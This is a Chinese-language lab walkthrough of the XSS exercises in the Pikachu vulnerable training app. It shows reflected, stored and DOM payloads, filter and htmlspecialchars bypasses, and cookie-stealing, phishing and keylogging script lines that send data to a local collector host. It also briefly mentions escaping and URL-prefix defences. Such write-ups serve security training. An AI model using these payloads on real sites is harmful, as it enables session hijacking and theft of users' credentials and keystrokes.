pikachu~~~XSS
目錄
反射型xss(get)
反射性xss(post)
存儲型xss
DOM型xss
DOM型xss
get:
post:
釣魚:
獲取鍵盤輸入:
反射型xss(get)
先輸入'"<>$223探測特殊字符是否被過濾
顯然么有,并且get型還直接把傳入的信息以URL的方式傳了過去
既然字符無保護,那咱們直接執(zhí)行一個<script>alert('look')</script>
F12修改最大值
那我們重新進入一次,看它是否會繼續(xù)彈窗,發(fā)現(xiàn)并沒有,所以他是一次性的
反射性xss(post)
post是要通過表單提交信息,先登入
和上面一樣,對特殊字符檢查,發(fā)現(xiàn)并無過濾
但是細心的我們可以發(fā)現(xiàn),
傳入參數不在URL顯示了,而是在request body中。
并且輸入時無長度限制
并且post前進和回退仍然會再次提交信息并彈窗
彈窗成功
存儲型xss
字符并無過濾,
這里將輸入動態(tài)的生成到了js中,形成xss
輸入<script>alert('look')</script>或JavaScript:alert('js')仍會彈窗,
回退后也會存儲,
與反射性post不同的是重新訪問此頁面,之前的信息仍然在
說明我們輸入的信息被存儲到了后臺中
講這個例子主要是為了讓你明白,輸出點在js中的xss問題,應該怎么修?
這里如果進行html的實體編碼,雖然可以解決XSS的問題,但是實體編碼后的內容,在JS里面不會進行翻譯,這樣會導致前端的功能無法使用。
所以在JS的輸出點應該使用\對特殊字符進行轉義
DOM型xss
發(fā)現(xiàn)是通過click me按鈕觸發(fā)domxss
將得到的信息以字符串拼接到a標簽
此時我們只需閉合a標簽即可
?
<a href=''>what do you see?</a>
<a href='' οnclick="alert('js')">' >what do you see?</a>
payload:
' οnclick="alert('js')">
'><img src=x οnerrοr=alert('xss')><a href='#
前端的輸入被DOM獲取到,通過DOM在前端輸出,前端不會保存,也不會走后端,但是也是一個寫程序的漏洞。
DOM型xss
http://192.168.241.1/pikachu/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22alert%28%27js%27%29%22%3E#
盜取cookie:
get:
<script>document.location='http://192.168.241.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
攻擊鏈接:
http://192.168.241.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.241.1%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
post:
http://192.168.241.1/pikachu/pkxss/xcookie/post.html
釣魚:
?
<script src="http://192.168.241.1/pikachu/pkxss/xfish/fish.php"></script>
后臺會記錄獲取信息
獲取鍵盤輸入:
<script src="http://192.168.241.1/pikachu/pkxss/rkeypress/rk.js"></script>
后臺會記錄獲取信息
Dom型xss-x
跟上一樣,還是先來看看代碼邏輯, 它從url獲取參數text的值然后組合出一個新的鏈接返回前端。
function domxss(){
??? var str = window.location.search; //取url后面的參數
??? var txss = decodeURIComponent(str.split("text=")[1]); //url解碼
??? var xss = txss.replace(/\+/g,' ');
//? alert(xss);
??? document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
??? }
?? //試試:'><img src="#" οnmοuseοver="alert('xss')">
?? //試試:' οnclick="alert('xss')">,閉合掉就行
請說出你的傷心往事按鈕取text組成個新鏈接,新鏈接的參數可控造成取值時的xss。 payload和上題一樣,只是參數的傳遞過程不一樣。
XSS盲打
就是攻擊者在沒有回顯的情況下打xss payload, 可能的利用場景就是留言處,留言者看不到寫入的內容,管理員可以從后臺看到并觸發(fā)惡意腳本,常被用來竊取cookie。
XSS過濾
過濾了script,通過或者 等標簽就可以觸發(fā)了。
<img src=x οnerrοr=alert(1)>
常見繞過方式:
??? 大小寫
XSS之htmlspecialchars
php的htmlspecialchars() 函數就是把預定義的字符轉換為 HTML 實體。
預定義的字符是:
??? & (和號)成為 &
??? " (雙引號)成為 "
??? ’ (單引號)成為 ’
??? < (小于)成為 <&“
??? > (大于)成為 >
默認配置的htmlspecialchars不會轉義’,測試思路是將這些符號輸入一遍,看哪些符號會被轉義。如我們輸入111<>'",查看返回結果里面源碼這些字符已經被轉換成預定義的實體編碼了,除了單引號沒被轉換。
<a href='111<>"'&'>
針對單引號來構造閉合為a標簽添加新的屬性繞過,如構造payload
#' οnclick='alert(1)'
填充完原頁面就完整代碼如下,點擊此標簽就觸發(fā)了xss
<a href='#' οnclick='alert(1)''>#' οnclick='alert(1)'</a>
XSS之href
直接通過偽協(xié)議觸發(fā)href,點擊偽協(xié)議的超鏈接觸發(fā)xss。payload如:
javascript:alert(1);
防止href里面?zhèn)螀f(xié)議造成的xss可以通過限制開頭必須是http或者https來實現(xiàn)
XSS之JS輸出
這適用于可控變量輸出在前端<script>的情況,測試思路是先隨便輸入一段字符提交,然后查看源碼Ctrl + F查找剛才隨便輸入的字符串定位到代碼。如我通過輸入asdf并查找定位到了asdf對應的輸出位置。
<script>
??? $ms='asdf';
??? if($ms.length != 0){
??????? if($ms == 'tmac'){
??????????? $('#fromjs').text('tmac確實厲害,看那小眼神..')
??????? }else {
??????? // alert($ms);
??????????? $('#fromjs').text('無論如何不要放棄心中所愛..')
??????? }
??? }
</script>
?
構造payload,如:
tmac';alert(1);//
payload填入原輸出位置就會變成
?<script>
??? $ms='tmac';alert(1);//';
?? ?......
?</script>
相當與在原來的基礎上插入了一段彈窗代碼,xss利用成功。
XSS大致類型如上,防御可以歸結為:輸入時過濾,輸出是轉義,更多的還是要在實戰(zhàn)中學習。
?
?
?
總結
以上是生活随笔為你收集整理的pikachu~~~XSS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2020幻影围棋 围棋规则模块(二)
- 下一篇: 利用Biopython 快速根据pmid